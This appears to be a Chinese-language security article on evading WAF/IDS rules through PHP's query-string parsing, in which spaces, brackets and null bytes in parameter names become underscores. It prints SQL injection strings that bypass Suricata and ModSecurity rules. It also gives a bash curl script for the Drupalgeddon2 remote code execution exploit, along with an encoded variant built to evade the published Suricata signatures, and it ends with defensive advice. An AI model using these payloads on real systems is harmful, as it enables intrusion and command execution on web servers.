利用PHP的字符串解析特性Bypass
字数 977 2025-08-18 11:39:00

PHP字符串解析特性绕过WAF/IDS技术分析

一、PHP查询字符串解析机制

PHP在处理查询字符串(URL或POST数据)时会自动将其转换为$_GET$_POST关联数组,此过程存在特殊字符处理机制:

  1. 字符转换规则

    • 删除空白符
    • 将某些特殊字符转换为下划线(包括空格)
    • 示例转换表:
    用户输入 PHP变量名
    %20foo_bar%00 foo_bar
    foo%20bar%00 foo_bar
    foo%5bbar foo_bar
  2. 特殊字符处理

    • 空字符(%00)会被截断
    • 方括号(%5b)会被转换为下划线
    • 空格(%20或+)会被转换为下划线

二、绕过技术原理

1. 基本绕过方法

利用PHP解析特性可以构造以下形式的参数绕过检测:

/news.php?%20news[id%00=42"+AND+1=0--

解析后实际参数为:

$_GET["news_id"] = "42\"+AND+1=0--"

2. 字符位置影响

通过测试不同位置的特殊字符发现:

  1. 第一个字符位置:[1st]foo_bar
  2. 中间字符位置:foo[2nd]bar
  3. 末尾字符位置:foo_bar[3rd]

三、实际绕过案例

1. 绕过Suricata规则

原始规则示例:

alert http any any -> $HOME_NET any (
  msg: "Block SQLi";
  flow:established,to_server;
  content: "POST"; http_method;
  pcre: "/news_id=[^0-9]+/Pi";
  sid:1234567;
)

绕过方式:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

2. 绕过ModSecurity WAF

原始规则:

SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"

有效防御方式:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

四、高级绕过技术:Drupalgeddon2案例

1. 原始攻击载荷

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

2. Suricata防御规则

  1. 自定义规则:
alert http any any -> $HOME_NET any (
  msg: "Possible Drupalgeddon2 attack";
  flow: established, to_server;
  content: "/user/register"; http_uri;
  content: "POST"; http_method;
  pcre: "/form_id=user_register_form/Pi";
  sid: 10002807;
  rev: 1;
)
  1. 通用规则:
alert http any any -> $HOME_NET any (
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE";
  flow: established, to_server;
  content: "/user/register"; http_uri;
  content: "POST"; http_method;
  content: "drupal"; http_client_body;
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi";
  reference: cve, 2018-7600;
  sid: 10002808;
  rev: 2;
)

3. 绕过方案

  1. 替换form_idform%5bid
  2. 替换post_renderpost%5frender

最终绕过载荷:

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

五、防御建议

  1. WAF/IDS规则优化

    • 使用更严格的正则表达式匹配参数名
    • 考虑参数名的各种编码形式
    • 对关键参数进行多重验证
  2. PHP应用层防御

    • 对输入参数进行严格过滤
    • 禁用危险函数
    • 使用参数白名单机制
  3. Suricata规则改进

    • 添加对参数名编码变体的检测
    • 结合多个特征进行综合判断
    • 对关键操作实施二次验证

六、总结

PHP的字符串解析特性在特定场景下可被用于绕过安全检测,安全产品开发者需要深入理解这些特性并针对性加强防御。防御方应当:

  1. 了解攻击者可能使用的各种编码和变形技术
  2. 在规则中考虑参数名的各种可能形式
  3. 实施多层防御策略,不依赖单一检测点
  4. 定期更新规则以应对新的绕过技术
PHP字符串解析特性绕过WAF/IDS技术分析 一、PHP查询字符串解析机制 PHP在处理查询字符串(URL或POST数据)时会自动将其转换为 $_GET 或 $_POST 关联数组,此过程存在特殊字符处理机制: 字符转换规则 : 删除空白符 将某些特殊字符转换为下划线(包括空格) 示例转换表: | 用户输入 | PHP变量名 | |---------|----------| | %20foo_ bar%00 | foo_ bar | | foo%20bar%00 | foo_ bar | | foo%5bbar | foo_ bar | 特殊字符处理 : 空字符(%00)会被截断 方括号(%5b)会被转换为下划线 空格(%20或+)会被转换为下划线 二、绕过技术原理 1. 基本绕过方法 利用PHP解析特性可以构造以下形式的参数绕过检测: 解析后实际参数为: 2. 字符位置影响 通过测试不同位置的特殊字符发现: 第一个字符位置: [1st]foo_bar 中间字符位置: foo[2nd]bar 末尾字符位置: foo_bar[3rd] 三、实际绕过案例 1. 绕过Suricata规则 原始规则示例: 绕过方式: 2. 绕过ModSecurity WAF 原始规则: 有效防御方式: 四、高级绕过技术:Drupalgeddon2案例 1. 原始攻击载荷 2. Suricata防御规则 自定义规则: 通用规则: 3. 绕过方案 替换 form_id 为 form%5bid 替换 post_render 为 post%5frender 最终绕过载荷: 五、防御建议 WAF/IDS规则优化 : 使用更严格的正则表达式匹配参数名 考虑参数名的各种编码形式 对关键参数进行多重验证 PHP应用层防御 : 对输入参数进行严格过滤 禁用危险函数 使用参数白名单机制 Suricata规则改进 : 添加对参数名编码变体的检测 结合多个特征进行综合判断 对关键操作实施二次验证 六、总结 PHP的字符串解析特性在特定场景下可被用于绕过安全检测,安全产品开发者需要深入理解这些特性并针对性加强防御。防御方应当: 了解攻击者可能使用的各种编码和变形技术 在规则中考虑参数名的各种可能形式 实施多层防御策略,不依赖单一检测点 定期更新规则以应对新的绕过技术